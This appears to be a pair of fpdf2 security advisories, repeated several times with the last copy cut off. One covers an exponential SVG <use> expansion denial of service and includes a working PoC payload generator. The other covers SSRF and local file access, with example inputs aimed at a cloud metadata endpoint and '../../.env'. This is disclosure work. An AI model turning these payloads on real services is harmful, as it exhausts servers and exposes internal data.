fpdf2

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
MemoryError after 14.336s, max RSS: 115596 KiB

Execution time varies by machine, but the process should show heavy resource use and fail at the configured memory limit.

Impact

This is an uncontrolled resource consumption vulnerability affecting applications that pass user-controlled SVG data to FPDF.image(). A single crafted image can occupy a PDF generation worker for several seconds and then make the current job fail with MemoryError. Submitting the same input concurrently repeats the CPU and memory cost across the available workers, reducing or exhausting the service's PDF generation capacity.

The payload is less than 1 KB and requires no external resource access, XML entities, special network configuration, or permissive fpdf2 settings.

Summary

fpdf2 implicitly dereferences image resource references supplied to rendering APIs. If an application passes untrusted HTML, SVG, template data, or image paths into those APIs, fpdf2 may issue outbound HTTP(S) requests or attempt to open local filesystem paths.

This behavior is relevant in applications that render untrusted or user-provided input without sanitizing or restricting embedded resource references.

Description

In affected versions, fpdf2 uses a shared internal image-loading mechanism for multiple features. This loader:

• fetches http:// and https:// URLs over the network
• opens other string values as local filesystem paths

During document processing, resource references embedded in input content are automatically dereferenced using this mechanism.

This behavior is reachable through:

• FPDF.image()
• FPDF.write_html() via HTML <img src="...">
• FPDF.image() when rendering SVG files containing <image href="..."> or xlink:href="...">
• template image elements that forward values into FPDF.image()

If an application renders attacker-controlled input through these APIs, that input can cause:

• outbound HTTP(S) requests to attacker-chosen destinations
• local file open attempts for attacker-chosen paths

This may enable Server-Side Request Forgery (SSRF) in applications that render untrusted content.

Local file access impact is limited: the library attempts to open the referenced path, but successful embedding depends on the target being a valid and supported image or SVG resource.

file:// URLs are not specially handled; raw filesystem paths such as /path/to/file or ../../file.png are the relevant local-path cases.

Impact

This issue affects applications that render untrusted or partially trusted content using fpdf2.

Applications may be impacted if they:

• pass untrusted HTML into write_html()
• render untrusted SVG with embedded <image> references
• pass user-controlled strings into image()
• allow untrusted template definitions or template field values to control image paths

Potential impacts include:

• outbound requests to internal or external network services
• limited local file access attempts depending on file type and parsing success (limited to content that fpdf2 recognizes as a supported image or SVG resource)

The severity depends on how fpdf2 is integrated and whether untrusted input is allowed to control resource references.

Example scenarios

HTML:

pdf.write_html('<img src="http://127.0.0.1:8000/internal.png">')

SVG:

<image href="http://169.254.169.254/latest/meta-data/" />

Direct image path:

pdf.image("../../.env")

Workarounds

Applications can mitigate this by:

• not rendering untrusted HTML, SVG, or template content
• rejecting user-controlled src / href / image-path values
• mapping resources through an application-defined allowlist
• converting user-supplied images to trusted in-memory objects before passing them to fpdf2

Credits

• @kule500 for identifying SSRF via HTML handling
• @BudongJW for identifying SVG resource loading as an additional vector
• @redyank for analysis of the shared image loading mechanism
• @manop55555 for identifying a DNS rebinding bypass in the initial REMOTE_PUBLIC implementation

Summary

fpdf2 expands SVG <use> references by deep-copying the complete referenced graphics tree. A small SVG can use nested references to make the number of in-memory objects grow exponentially, causing excessive CPU and memory consumption during FPDF.image() processing.

This was reproduced with an 895-byte SVG on fpdf2 2.8.7. Under a 128 MB process limit, the input kept the process busy for about 14 seconds before raising MemoryError.

Details

The issue is in fpdf2's own SVG reference handling. It does not rely on XML entities, external URLs, local files, or vulnerable behavior in another dependency.

When fpdf2 resolves an SVG reference, SVGObject.build_xref() passes the referenced object to GraphicsContext.add_item():

pdf_group.add_item(self.cross_references[ref])

GraphicsContext.add_item() uses clone=True by default and deep-copies the object:

def add_item(self, item, clone=True):
    if clone:
        item = deepcopy(item)
    self.path_items.append(item)

An attacker can define g1 as eight references to g0, g2 as eight references to g1, and so on. Each level adds only a small amount of XML, but fpdf2 copies the entire tree from the previous level eight times. The resulting work grows approximately as 8^n.

ResourceAccessPolicy does not prevent this behavior because the SVG contains only inline objects and does not request any external resource. The same failure was reproduced on development commit a3307f96a0d165831029b3fb644aee5a7ca03328 with ResourceAccessPolicy.NONE.

PoC

This was tested on Linux with Python 3.13.5. The script applies a 128 MB address-space limit so the process fails safely instead of consuming all available system memory.

import resource
import time

from fpdf import FPDF


groups = ['<g id="g0"><rect width="1" height="1"/></g>']
for level in range(1, 6):
    uses = f'<use href="#g{level - 1}"/>' * 8
    groups.append(f'<g id="g{level}">{uses}</g>')

svg = (
    '<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
    '<defs>' + "".join(groups) + '</defs><use href="#g5"/></svg>'
).encode()

pdf = FPDF()
pdf.add_page()

limit = 128 * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

print(f"payload size: {len(svg)} bytes")
started = time.perf_counter()

try:
    pdf.image(svg, w=10)
except MemoryError:
    elapsed = time.perf_counter() - started
    max_rss = resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
    print(f"MemoryError after {elapsed:.3f}s, max RSS: {max_rss} KiB")

payload size: 895 bytes
